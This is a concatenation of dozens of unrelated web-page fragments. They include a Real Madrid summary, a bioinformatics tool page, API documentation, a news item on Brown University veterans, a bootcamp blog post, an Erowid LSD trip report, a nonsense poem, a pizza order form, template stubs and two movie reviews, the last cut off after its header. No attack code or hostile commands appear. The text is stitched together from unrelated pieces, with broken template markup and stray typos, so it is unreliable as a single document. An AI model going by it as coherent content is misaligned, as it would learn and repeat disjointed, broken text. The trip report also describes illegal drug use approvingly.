Founded on 6 March 1902 as Madrid Football Club, the club has traditionally worn a white home kit since inception. The word real is Spanish for "royal" and was bestowed to the club by King Alfonso XIII in 1920 together with the royal crown in the emblem.
The club was estimated to be worth €3.8 billion ($4.2 billion) in 2019, and it was the second highest-earning football club in the world, with an annual revenue of €757,3 million in 2019.The club is one of the most widely supported teams in the world.Real Madrid is one of three foundingx members of La Liga that have never been relegated from the top division since its inception in 1929, along with Athletic Bilbao and Barcelona. The club holds many long-standing rivalries, most notably El Clásico with Barcelona.
Click on the image above for more information


ChromEvol
a tool for analyzing changes in chromosome-number
Prof. Itay Mayrose, TAU - Plant Evolution, bioinformatics, & comparative genomics
Chromevol home
News
Download CCDB counts
Contact
About
Load previous results
Load your Tree file:
Select counts Type:
Default
Min
Max
Distribution


NodeDependant
@interface NodeDependant : NSObject
@property (nonatomic, weak) MobileMobile *node;
- (instancetype)initWithNode:(MobileMobile *)node;
@end
Undocumented
-
Undocumented
Declaration
Objective-C
@property (nonatomic, weak) MobileMobile *node
Swift
var node: UnsafeMutablePointer<Int32>? { get set }
-
Undocumented
Declaration
Objective-C
- (instancetype)initWithNode:(MobileMobile *)node;
Swift
init(node: Any!)


You can use this scatter plot to see the correlation between the markup of a listing and various attributes.
-
View individual listings or aggregate them into neighborhoods.
When viewing neighborhoods, the size of the circle represents the number of listings in that neighborhood.
-
Use the dropdown menu along the horizontal axis to choose an attribute to plot against the markup.
-
Zoom in and out using scroll controls, and pan around using Alt + Drag.
-
You can Shift + Click to select multiple listings or neighborhoods.
You may also drag over a region to select all listings or neighborhoods under it.


Brown University looks to enroll more veterans
by EndPlayPROVIDENCE, R.I. (AP) - Brown University has announced plans to double the number of veterans it enrolls by changing admissions policies, increasing financial support and bolstering recruitment.
The Ivy League university in Providence, Rhode Island announced in a press release on Veterans Day that standardized test scores will be optional for veterans in the admissions process.
The release indicates changes in financial aid will eliminate "all out-of-pocket costs," for undergraduate tuition and fees for veterans.
University president Christina Paxson says "We owe an immense debt of gratitude to our veterans."
The Providence Journal reports that there are currently 21 undergraduate veterans at the school, out of about 7,000 undergraduates.


PHYSLETS REVAMPED Team
Kirtan Shah
Monta Vista High School Student
Deepak Ramalingam
Monta Vista High School Student
Email:
<EMAIL_ADDRESS>Ethan Wang
Monta Vista High School Student


I am quite excited about what DBC will bring to me, not only as a coder, but as a person. Learning any new subject is no way easy. However, if you approach the problem with a pinch of confidence, and a passion, I believe you will in turn become a successful coder.
After watching Shareef’s Fireside Chat, I was afraid that I had both mindsets he described, that is the kitchen mindset vs restaurant mindset. The restaurant mindset, as explained by Shareef, is that in which you walk into a restaurant (bootcamp), with the expectations that you are going to receive everything that you pay for. I am not going to lie, there is an aspect of me that had this mindset after applying and paying the tuition. But there is a bigger part of me that is more excited about what the switch into coding will provide for me. This is the kitchen mindset, in which everyone is a cook, each with their own experience and expertise, their own passions and ideas, their own desires and goals.My expectations of DBC has not really changed. Although there was a part of me who turned to this program as a way to help me get a new career, I knew going in that you only get out whatever hard work you put in. Of course I’m quite nervous for this program, as I am pretty much a ‘newbie’. I have definitely felt quite miniscule after reading some of the other cohorts experience. But I understand that I am not the only one in this boat.
Overall I am quite excited to see what the program will provide and teach me. Despite all of our different experiences and resumes, I understand that we are all in this together, and we are all ultimately working to become great software engineers


Updates
Latest news on the Clintonville Neighborhood Greenways
{{ post.title }}
{{ post.excerpt }}
--- layout: base title: "Updates" excerpt: "Latest news on the Clintonville Neighborhood Greenways." cover_image: whetstone-park-of-roses-bike-shelter.jpg cover_image_caption: "Bike Shelter in Whetstone Park. Photo: Will Koehler" ---
{{ post.excerpt }}


What is surprising is that I can remember perfectly now what happened that day. Nothing is obstructed.
I took a hit of LSD at 4 in the afternoon. My boyfriend took 2. We wrote down the time so we could reference when it started to kick in, and we started playing Halo. After a while, my jaw felt tense and I was shaky. A friend who was also tripping that day came over and started showing us a crystal ball. We smoked some pot and went outside.
I remember how bright and nuclear the sun felt, even behind clouds. And speaking of clouds, how amazing they looked. The ones lit up by sun were so bright and iridescent... and the rest T suddenly saw as spanning a great depth into the sky. I usually see clouds as so flat, and it takes special kinds of clouds to demonstrate the great depth they span... but I saw them clearly in the depth. I saw every movement they made, and the patterns that seemed to replicate themselves throughout the clouds. At one point, I could see a sliver of a moon straight above, and through the thin clouds, a small chunk of rainbow appeared right by the moon. I thought I may have dreamed it up, but my partners agreed it was there. It was amazing.
We went to the duck pond. I watched the water rippling due to wind, fountain, or duck. The way the highlights contained reflections of the island and trees, and the lowlights were the color of the water. They created movement across the waves. I suddenly thought of the air as liquid, surrounding us just as the water could. The surface of the water was no longer just a surface above which was nothing, instead, the surface was really an intersection of two 'liquids': water and air. The ripples showed how the air affected the water and vice versa.
It was windy, which helped realize the liquidity of the air. Gazing across the lawn, handfuls of grass twitched in the wind while others stayed still. The trees and leaves swayed, my hair blew. The air felt extremely heavy, and I could so clearly feel every movement around me.
And all the while that I was staring at the greatness around me, the two next to me were talking about many things. Physics and math of crystal balls and various other gadgets. It was amazing how I could be so focused on the scenery, yet at any moment I was completely caught up with the conversation and could easily join in. There was no confusion. It didn't matter who knew the exact details of what we talked about... I felt that we all understood, moved along at the exact same pace with the concepts.
Speaking of the crystal ball... what an incredible accessory. It was amazing how perfectly round it was--I spin it as fast as I could and did not see any rotation in the image in the ball. Movement without any visible evidence. Seeing the world inside the ball upside down, or seeing the fibers of a microfiber cloth look as large as the weave on a scarf. It was great.
Whenever we mentioned what phenomena greeted us, the others understood without words. They experienced the same.
Walking was strange. I had little sensation of it at all. I said, 'I feel like something else is walking for me' and everyone else concurred. While we walked, I looked up at the trees and thought and felt about the tree top, 'I could be there' or 'I am there'. It's something I've tried to think since, and I can almost get myself to feel it, but not the same way--not so naturally. I thought about what it would be like to be living as different people, and I understood putting myself in their shoes in a way I never had before. I could say 'imagine what it would be like to be ____' and felt like I really could understand that.
I wasn't really worried that we seemed strange to outsiders. One friend kept saying, 'Don't worry. It's all in your head.' I knew that was true. I liked the moment that we were coming upon 3 campus narcs/security guards. We all stopped talking and just walked by in silence, looking sober and nonchalant. Immediately after they passed, I broke out into a huge uncontrollable grin and looked over to see everyone else do the same.
At some point we felt fit to venture to a restaurant for food, though I noticed not being that interested in whether I was hungry. I put on a sweatshirt and really enjoyed wearing the hood even though I usually hate hoods and only wear them if it is raining. The walk over was fine... less of the beautiful sunlight, but some nice clouds and wind. On the street, it was calm and I felt completely at ease, no matter what kinds of sketchy people were walking by. We went to the door of the restaurant, and when I opened it, it was like a completely different world. It was a bustle of color and noise, people everywhere, very confusing even on ordinary days. We managed to get in line and decided to order the simplest thing we could thing of: two slices of pizza and water. We escaped to the outside... it was too much. We lost track of time, as we had been very apt to do throughout the afternoon, and I ended up finally finding our order about 20 minutes after our number had initially been called.
By night (10pm), things weren't quite as crazy as they had been during the afternoon. There were a few times, watching iTunes visualizations and listening to music... or staring at this wall in our friend's house that seemed to be moving the same way the clouds had. But mostly a sense of loss as it slowly disappeared... or as I felt it, as parts of myself that had been gone slowly returned. I felt sadness again for the first time. I tried to notice what was coming back that I didn't like, thinking maybe I could learn to get those away from myself.
I didn't like the sadness, as warranted as it may have been. I know it's appropriate and good to be sad at times, but I think in general it takes too much from me. I didn't like irritability, the way I tried to control things, that was coming back. In the afternoon, I tried to control nothing at all. I chose what I looked at and what I thought about and reveled in it, and didn't care at all what else happened. I even said 'this is the most chill I have ever been', but it wasn't in some konked out couchlock way... it was in an amazing, energetic, enthusiastic, involved way, but I was still completely chill about the passage of time and events. I didn't care about time, deadlines, or plans.
I realized don't like how much I try to make plans or secure things down. School makes us so time dependent. I didn't like some of the sense of self returning either... it had been gone, and I was so much happier being part of something bigger. It's hard to emulate, and hard to explain. In a way, the way I lived that afternoon sounds selfish... just doing what was fun, reveling in everything around me, enjoying myself more than many people ever will. But in a way, it was the least selfish I've ever been, and I liked that. I hope that is something I can retain through time.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Poem for Jen
Spang.
The spork glistens, the spaghetti meeps.
The twinkling stars,
the girls in bars that say "Gweezle Bur" all through the night.
The sounds of a snazzy trio came drifting over the bricks...
Splinkle.
Splinkle.
Splinkle.
There once was a lass from Columbra
Who swallowed an entire dog.
She said with a frown,
"Boy, that was unpleasant!"
And I just had to fall down, laughing with glee.

He came to rant about my poems...
"Nothing ever rhymes!" said he.

But I don't want to be a poet...and that is the irony of it all.
Michael Ivey, 01-26-98
(Originally published under the name Jeniffer Garner)


Wire:
OPR Count:
Alpha
-
Bravo
-
Charlie
-
Delta
-
Echo
-
Alfa
Bravo
Charlie
Delta
Echo
Ben Affleck
Join Wire
Receiving Ticker
Beginner Mode
Advanced Mode
Transmitting Ticker


Stock inward is use to make purchase transactions. There are three categories for making purchases. Viz. Alloy, Gold and Silver.


This is where you can find the lyrics of all Goddess Parvati mantras or devotional hymns in English and Devanagari script. You will also find the meaning of Parvati mantras and devotional hymns in English. Parvati mantras are read to please Goddess Parvati.
| Parvati Aarti |
| Parvati Chalisa |
| Parvati Gowrisha Ashtakam |


In this part of the program the coordinates of the centre points of the markers are found. After clicking "Start" you are asked to import a bitmap. To do so, click the menu "Import picture"
Procedure for the conventional
Fry
method:
When the picture appeares on the screen, all centres of the markers are
clicked one after the other. The centres are found just by visual
estimate. The coordinates of these points are listed on the right side.
Procedure for the normalized Fry
method:
When the picture appears on the screen, first the centre of a marker is
clicked, then a point of the margin of the marker. The program
calculates the radius of the marker from these two data. The centre is
found by visual estimate. Continue with all other markers. The
coordinates and the radii of the markers are listed on the right side.
Press the button "Terminate input of points" after clicking on
the
last point. Now the menu "Save points" is active which saves the data
in a file.
The colour of the points can be changed with the option "Colour".
The button "Plot" opens the graphic evaluation.


Get a
Pizza_
the pie!!!
Name for order:
Pizza's:
Select Pizza
Cheese
Pepperoni
Combination
Sizes:
Select Sizes
Toppings:
Extra Cheese
Jalapenos
Artichoke
Submit
Reserved Pizzas:
Pizza:
Size:
Extra Toppings: $
.00
Final Price:
Menu
Cheese Pizza
Medium -- $9.99
Large ----- $11.99
X-Large -- $14.99
Pepperoni
Medium -- $11.99
Large ----- $12.99
X-Large -- $15.99
Combination
Medium -- $12.99
Large ----- $14.99
X-Large -- $17.99
Extra Toppings
Extra Cheese -- $1.00
Jalapenos ------ $1.00
Artichoke ------ $1.00


Welcome to Alan's
editable website at goatpunch.com,
served by Interflow. Feel free
to add comments and new pages, and correct or extend existing pages.
Archive of Alan's
very out of date old website
(mostly skydiving stuff).


--- layout: doc title: Documentation ---
This document was generated on April 14, 2023 using texi2html 1.82.


AUTO ZOOM
GOOGLE
sync your calendar
ON/OFF
toggle all meetings
add new
full list
more
valid zoom links only
Set Meeting


Generic Component which can be used for eventing on Drop Actions
Link to blog: Design Studio SDK: Drag Drop Area Component


Ruger
Ruger enjoys to do the following:
- hiking around the woods
- meeting every person or animal that is near
- loves to swim as well
Things ruger does not enjoy are:
- wearing his harness
- being told no or pointing at him
- not getting to meet new friends
- being able to see mom or dad but not being able to reach them
Return Home


Lake Placid Chad'z rating: **1/2 (out of 4 = okay/average) 1999, R, 82 minutes [1 hour, 22 minutes] [horror] Starring: Bill Pullman (Game Warden Jack Wells), Bridget Fonda (Kelly Scott), Oliver Platt (Hector Cyr), Brendan Gleeson (Sheriff Hank Keogh); written by David E. Kelley; produced by David E. Kelley, Michael Pressman; directed by Steven Miner.
Seen July 18, 1999 at 5:20 p.m. at Crossgates Cinema 18 (Guilderland, NY), theater #15, with Shawn O'Shea for free using my Hoyts season pass. [Theater rating: ***1/2: very good picture and sound, okay seats].
Watching `Lake Placid' you get the feeling the entire film was written, produced, shot and edited in one day. It has a light, care-free attitude that it doesn't really want to be taken seriously (it better not) and that it's just what a bunch of big-shot Hollywood execs do on the weekend.
 You can tell they couldn't possibly expect us to take this seriously by releasing in the middle of a cut-throat summer movie season filled with mega-budget, blockbuster special effects and superstars. The running time is just barely over an hour... I guess they expect us to go see it while we wait for the next `Phantom Menace' showing.
Anyways, I'm not going to rip this film to shreds as many other critics have done. In fact, for a film that doesn't seem to have much effort put into it, it's actually not that bad!
I can't count how many times I and other critics have said the key to pulling off a horror flick as simple as man vs. beast, ghoul, monster, etc. is to keep the atmosphere lighthearted and dialogue witty. Once they stray into the so-fake-it's-totally-unrealistic-and-cheesy territory they'll usually lose us. Well, `Lake Placid' does dabble in that area both for campy humor and theme, but also to seriously push the story along.
It's about four characters and their hunt for a killer crocodile in a secluded lake off the coast of the Atlantic Ocean in Maine. It's a calm lake with no waves and the water is as black as night.
`They wanted to name it Lake Placid, but they found out it was already taken,' says the local yokel sheriff, Hank Keogh (Gleeson) to New York paleontologist Kelley Scott (Fonda), who is sent up to the lake-with-no-name after a rare reptilian tooth is found in the body of a diver whose legs were bitten off by a mysterious creature in the opening scene.
That statement alone probably sounds pretty campy right? Well, it gets better (or worse), turns out Kelley agrees to go out into the wilderness just to get away from her boss who has just dumped her for her best friend.  Every horror movie has at least one screaming woman in it and there's plenty for Kelley to scream at here, such as when Keogh finds the head of a moose in the lake or during many scenes whereby the crew is out hunting for the monster and it suddenly sneaks up on them.
The other `crew' members are local Game Warden Jack Wells (Pullman) and international crocodile enthusiast Hector Cyr (Platt).  He has a slew of high-tech equipment which he failingly tries to convince Keogh and Wells will be able to subdue the croc enough for him to have it transported to safe captivity.
How did a crocodile end up in a lake in New England? The filmmakers never answer that question, only through lame one-liners or vague, unfounded, general rationalizations - the kind only eccentric movie characters can get away with saying (`Someone in Hong Kong probably flushed him down the toilet' - ugh!).
There isn't much to say about the plot other than the obvious - it's about a bunch of people trying to hunt down a killer crocodile while being scared out of their minds. And yessirebob all the horror cliches abound - the noise in the bushes that just turns out to be one of the other characters, the journey to the beast's home despite all common sense, the sex jokes and a mysterious sub-plot that doesn't have any significance until the end.
That sub-plot, about an old woman living in a cabin on the lake is really weird. Betty White co-stars as this woman who has a surprisingly foul mouth and makes a lot of really funny, albeit shocking remarks. This element single-handedly saves the film from being a complete waste of time and keeps the atmosphere light.
The ending itself is actually kind of suspenseful, much more thrilling than horrifying. There's even a surprise twist and the final shot is quite funny.
I have a feeling everything surrounding `Lake Placid' will also have that feeling of little-effort-but-in-good-spirits. Critics probably won't like it, but they shouldn't waste their time and energy bashing it either since it's one of the few non-blockbuster movies that is actually critic proof. People are going to see this thinking it's either scary or campy fun, but the truth is, it has only a little of both and too much of nothing else.
(7/21/99)
--------------------------------- Please visit Chad'z Movie Page - over 230 new and old movies reviewed in-depth, not just blind ratings and blather capsules.
Associate member of The O.F.C.S. (Online Film Critics Society)
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Fist Blog Post
04/21/2015
Fists paragraph is short because I am running behind so have to catch up.
No time for 2nd paragraph.
Will do 3rd P some other time.
Fists paragraph is short because I am running behind so have to catch up.
No time for 2nd paragraph.
Will do 3rd P some other time.


- handle(BaseGameEntity) - Method in class com.bham.bd.components.characters.GameCharacter
-
- handle(List<BaseGameEntity>) - Method in class com.bham.bd.components.characters.GameCharacter
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.shooting.Bullet
-
- handle(List<BaseGameEntity>) - Method in class com.bham.bd.components.shooting.Bullet
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.shooting.IceBullet
-
The handle method of Bullet, dispose various situations when the bullets collides with other entities.
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.effects.Dissolve
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.effects.HitMarker
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.effects.RingExplosion
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.ArmorTrigger
-
Handle the situation when character touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.BombTrigger
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.HealthGiver
-
Handle the situation when character touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.Immune
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.SpeedTrigger
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.StateTrigger
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.TeleportTrigger
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.powerups.TripleBullet
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.traps.Freeze
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.traps.InverseTrap
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.traps.LandmineTrigger
-
Handle the situation when player touches the trigger and the status that need to be changed
- handle(List<BaseGameEntity>) - Method in class com.bham.bd.components.triggers.Trigger
-
- handle(BaseGameEntity) - Method in class com.bham.bd.components.triggers.Trigger
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.characters.GameCharacter
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.Controller
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.environment.Obstacle
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.shooting.Bullet
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.shooting.LaserGun
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.shooting.ThunderLaser
-
- handleMessage(Telegram) - Method in class com.bham.bd.components.triggers.Trigger
-
- handleMessage(Telegram) - Method in class com.bham.bd.entity.BaseGameEntity
-
- handleMessage(Telegram) - Method in class com.bham.bd.entity.graph.SparseGraph
-
- HandyGraphFunctions - Class in com.bham.bd.entity.graph
-
- HandyGraphFunctions() - Constructor for class com.bham.bd.entity.graph.HandyGraphFunctions
-
- hasEffectOnAudio() - Method in class com.bham.bd.audio.AudioSemiAutomatedTest
-
- hashCode() - Method in class com.bham.bd.utils.messaging.Telegram
-
Override hash function
Necessary to override hashcode method since 'equals' method has been overridden
In this way, we maintain the general contract : Equal Objects must have Equal Hashcodes
- hasNext - Variable in class com.bham.bd.entity.graph.SparseGraph.EdgeIterator
-
- hasNext() - Method in class com.bham.bd.entity.graph.SparseGraph.EdgeIterator
-
- hb - Variable in class com.bham.bd.entity.physics.MapDivision
-
for debug, render all the hit boxes for collision test
- hBox - Variable in class com.bham.bd.view.model.CustomStage
-
- heading - Variable in class com.bham.bd.entity.MovingEntity
-
basis vector indicating the direction the entity is facing
- health - Variable in class com.bham.bd.components.triggers.powerups.HealthGiver
-
- HEALTH_SCORE_LOGISTIC_RANGE - Variable in class com.bham.bd.entity.ai.goals.UtilityCalculator
-
constant for scoring health
- HEALTH_SCORE_STEEPNESS - Variable in class com.bham.bd.entity.ai.goals.UtilityCalculator
-
constant for scoring health
- HealthEvaluator() - Constructor for class com.bham.bd.entity.ai.TargetingPolices.HealthEvaluator
-
- healthFraction - Variable in class com.bham.bd.view.GameSession
-
Property of how much health (fraction) the home territory has remaining
- HealthGiver - Class in com.bham.bd.components.triggers.powerups
-
Represents a trigger that increases character health
- HealthGiver(int, int, int, int) - Constructor for class com.bham.bd.components.triggers.powerups.HealthGiver
-
Construct a Health Giver Trigger in a position with respawn time
- HealthGiverTest() - Method in class com.bham.bd.components.triggers.TriggerTest
-
- healthTest() - Method in class com.bham.bd.components.characters.GameCharacterTest
-
- HEIGHT - Variable in enum com.bham.bd.components.shooting.BulletType
-
The height of the bullet's image used for rendering
- height - Variable in enum com.bham.bd.components.shooting.LaserType
-
- HEIGHT - Static variable in class com.bham.bd.view.GameSession
-
Window's height (in pixels)
- HEIGHT - Static variable in class com.bham.bd.view.MenuSession
-
Window's height (in pixels)
- HEIGHT - Static variable in class com.bham.bd.view.model.MenuButton
-
height of button background
- HEIGHT - Static variable in class com.bham.bd.view.model.MenuSlider
-
height of custom slider
- HEIGHT - Static variable in class com.bham.bd.view.model.SubMenu
-
height of sub-menu
- hers() - Method in class com.bham.bd.entity.ai.navigation.algorithms.astar.TimeSlicedAStar.Node
-
- hide(AnchorPane) - Method in class com.bham.bd.view.menu.PauseMenu
-
Hides pause menu with fade out transition
- hide() - Method in class com.bham.bd.view.model.SubMenu
-
Animates the disappearance of the sub-menu.
- HIGH - Variable in class com.bham.bd.view.model.MenuButton
-
- highHealthCondition - Variable in class com.bham.bd.components.characters.agents.enemies.Tank
-
Condition to check if the health is high enough to pursue attacking
- highHealthCondition - Variable in class com.bham.bd.components.characters.agents.enemies.Teaser
-
Condition to check if the health is high enough to pursue attacking
- hitAndDamageTest() - Method in class com.bham.bd.components.shooting.armoryTest
-
- hitBox - Variable in class com.bham.bd.components.shooting.ExplosiveBullet
-
- hitboxTest() - Method in class com.bham.bd.components.characters.GameCharacterTest
-
- HitMarker - Class in com.bham.bd.components.triggers.effects
-
Represents effect of any image dissolving to particles
- HitMarker(GameCharacter, Image, double) - Constructor for class com.bham.bd.components.triggers.effects.HitMarker
-
Constructs a dissolve effect by generating a particle array.
- HitMarker(GameCharacter, Image, double, double, int) - Constructor for class com.bham.bd.components.triggers.effects.HitMarker
-
Alternate constructor allowing to set the speed of moving particles and the gap of pixels that can be skipped.
- HitMarker.Particle - Class in com.bham.bd.components.triggers.effects
-
Round pixel particle
- hitObsOff() - Method in class com.bham.bd.entity.ai.TargetingSystem
-
- hitObsOn - Variable in class com.bham.bd.entity.ai.TargetingSystem
-
The switch for targeting obstacle behavior update
- hitObsOn() - Method in class com.bham.bd.entity.ai.TargetingSystem
-
- homeFullHp - Variable in class com.bham.bd.components.Controller
-
- homeHp - Variable in class com.bham.bd.components.Controller
-
- homeHpFraction - Variable in class com.bham.bd.entity.ai.director.Director
-
Holds the home's health from the last check
- homeTerritory - Variable in class com.bham.bd.components.environment.GameMap
-
A circle defining the constraints of the home territory which can be attacked
- horizontalCellNum - Variable in class com.bham.bd.entity.physics.MapDivision
-
The number of Cells on the row
- HP - Static variable in class com.bham.bd.components.characters.agents.allies.Neuron
-
HP the ally should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Nova
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Shooter
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Splitter
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Splitter.MiniSplitter
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Tank
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Teaser
-
HP the enemy should start with
- HP - Static variable in class com.bham.bd.components.characters.agents.enemies.Trapper
-
HP the enemy should start with
- hp - Variable in class com.bham.bd.components.characters.GameCharacter
-
Current hp value the character has
- HP - Static variable in class com.bham.bd.components.characters.Player
-
HP the player should start with
- hp - Variable in class com.bham.bd.components.environment.Obstacle
-
HP this obstacle has - only valid for breakable obstacles
- HP - Variable in class com.bham.bd.components.triggers.powerups.ArmorTrigger
-


Demo site
Here's a button you could click if you want to
Here's a link to the outside world
Look, a new beta feature


You can only accept answers on discussions you create.
Follow these steps to accept an answer on your discussion:
The discussion closes and a copy of the accepted answer is added as the first comment in the discussion.


NoveLover's Utopia
Homepage
E-books and Articles
Fun Online Quizzes
The Utopian Blog - Your stories come to life
Not a member? Join us!
Name :
Email ID :


Influenced by fond memories of Vista/Win 7 Minesweeper. I thought the new Minesweeper in 8+ was missing a certain je ne sais quoi, so here's something that feels a bit more like it than the legacy Win 95-themed game.
Plz drop any issues in the repo.
GL HF :D
0x00019913


Ping-Pong
About Ping Pong
Created by:
Daniel Wulff
GitHub Username/URL:
danwulff
Arrays and Looping example for:
Intro to Programming
Let's Play
Rules:
Numbers divisble by 3 become "ping"
Numbers divisble by 5 become "pong"
Numbers divisble by 3 and 5 become "pingpong"
Enter your number here:
Ping Pong!


{% extends "layout.html" %} {% block title %} Arch {% endblock title %} {% block layout-content %} Welcome to ARCH, the Automated Repository of Canned Hints. We hope you enjoy your visit.
As of {% now "D, d M Y" %}, ARCH has
/grab 20IMO6
to pull the problem statement and a link to the ARCH entry.
This works with any problem identifier.
/grab
and this will still work.
/active
to display the currently discussed problem.
/hint [type content]
.
Evil Chin will output a link to the newly created hint,
where you can (if you choose) change the number and keywords.
(By default, Evil Chin selects the smallest unused multiple of 10 for the number.)


|
||||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |
| Interface Summary | |
|---|---|
| CSSContext | This interface allows the user of a CSSEngine to provide contextual informations. |
| CSSEngine.MainPropertyReceiver | Interface for people interesting in having 'primary' properties set. |
| CSSEngineListener | This class must be implemented in order to be notified of CSS events. |
| CSSEngineUserAgent | One line Class Desc Complete Class Desc |
| CSSNavigableDocument | An interface for documents that have CSSNavigableNodes. |
| CSSNavigableDocumentListener | An interface for listeners of CSSNavigableDocument events. |
| CSSNavigableNode | An interface for DOM classes that can be navigated for CSS selector matching and cascade computation. |
| CSSStylableElement | This interface must be implemented by the DOM elements which needs CSS support. |
| CSSStyleSheetNode | This interface must be implemented by the DOM nodes which represent CSS style-sheets. |
| Rule | This interface represents a CSS rule. |
| StyleDeclarationProvider | An interface for CSSStyleDeclaration objects to
expose their underlying StyleDeclaration objects storing the
properties. |
| Class Summary | |
|---|---|
| CSSEngine | This is the base class for all the CSS engines. |
| CSSEngine.DocumentAdapter | Provides an (empty) adapter for the DocumentHandler interface. |
| CSSEngineEvent | This class represents a CSS event fired by a CSSEngine. |
| FontFaceRule | This class represents a @font-face CSS rule. |
| ImportRule | This class represents a @import CSS rule. |
| MediaRule | This class represents a @media CSS rule. |
| Messages | This class manages the message for the css.engine module. |
| StringIntMap | A simple hashtable, not synchronized, with fixed load factor. |
| StringIntMap.Entry | To manage collisions |
| StyleDeclaration | This class represents a collection of CSS property values. |
| StyleMap | This class represents objects which contains property/value mappings. |
| StyleRule | This class represents a style rule. |
| StyleSheet | This class represents a list of rules. |
| SVG12CSSEngine | This class provides a CSS engine initialized for SVG. |
| SVGCSSEngine | This class provides a CSS engine initialized for SVG. |
| SystemColorSupport | This class provides support for AWT system colors. |
|
||||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |


Christoph Meier, Setting #14, 2008
16mm-Projector, Super-8-Projector, 3 Slide projectors
Reblogged from one of my favorites: Things Organized Neatly


ERGS, or Energy Research Group: Scopatz, is the Computational
Nuclear Engineering
research group at the University of South Carolina. Our
focus is on uncertainty quantification & predictive modeling, nuclear fuel cycle
simulation, and improving nuclear engineering techniques through automation.
We are committed to open & accessible research tools and methods.
Join ERGS by checking out the open positions on our
jobs page or see if you are interested in any of
the following!
{% include 'jobs_open.html' %}
{% endblock content %}
{% block footer %}
Feel free to contact ERGS by emailing scopatz(AT)cec.sc.edu.
{% endblock footer %}


{% extends "base2.html" %} {% block title %}Reset your password{% endblock %} {% block content %}
We've emailed you instructions for setting your password.
If you don't receive an email, please make sure you've entered the address you registered with.


Content-type: text/html
| (logo) | |||||
Group Control — Make new directory |
|||||
|
Restricted access: Access control list will be set up. Users listed in directoryname_read will have read access, users in directoryname_write will have write access. Users in directoryname_admin will have admin access, which means they can modify the user lists. This is the default setting. All valid users have access: This means that any user who has a valid account can have read access. Write and admin access work as in "restricted access". New directories start with no one in access control lists, and only the creator of the directory in the admin list. New directories are set to restricted access. |


Center for International Earth Science Information Network - CIESIN - Columbia University. 2016. Gridded Population of the World, Version 4 (GPWv4): Population Density Adjusted to Match 2015 Revision UN WPP Country Totals. Palisades, NY: NASA Socioeconomic Data and Applications Center (SEDAC). http://dx.doi.org/10.7927/H4HX19NJ. Accessed 27 Oct 2017.


| |
| A caricature of Bob drawn in 1996 in Heathrow airport
outside London before a flight to the United States. It was a
freebie from the Duty Free for buying a fifth of Scotch. Many people
no longer recognize Bob because he has short hair now, and
arms. | |
Here you'll find everything you need to know about the
personal side of Bob.
|


--- layout: home background: '/img/bg-index.jpg' ---
Hello, world!
I am in my second year studying Software Engineering (B.Sc) at McGill University in Montreal, Quebec. Here you will find a person who adores technology and life, and makes things interesting. Lately I've been cooking up interesting projects solo and with friends, writing about my fields of interests, or on my next journey of exploring a new corner of the world... You will see!


| User Name | Name | City | Ride in Group | Day of week | Posts | Albums | Photos | |
|---|---|---|---|---|---|---|---|---|
| {{ user.username }} | {{ user.name }} |
{{ user.email }} |
{{ user.address.city }} |
Always |
Sum, Mon, Tue |
1 |
1 |
1 |


My Team
William
Manager
ID: 22
Email Address:
<EMAIL_ADDRESS>Office Number:<PHONE_NUMBER>
Pat
Engineer
ID: 11
Email Address:
<EMAIL_ADDRESS>GitHub:
pat
Anisa
Intern
ID: 55
Email Address:
<EMAIL_ADDRESS>School: UofU


DARK CITY (R)
Directed by Alex Proyas Running Time: 103 minutes Originally Released: February 27, 1998
Reviewed by E. Benjamin Kelsey
* * (out of four)
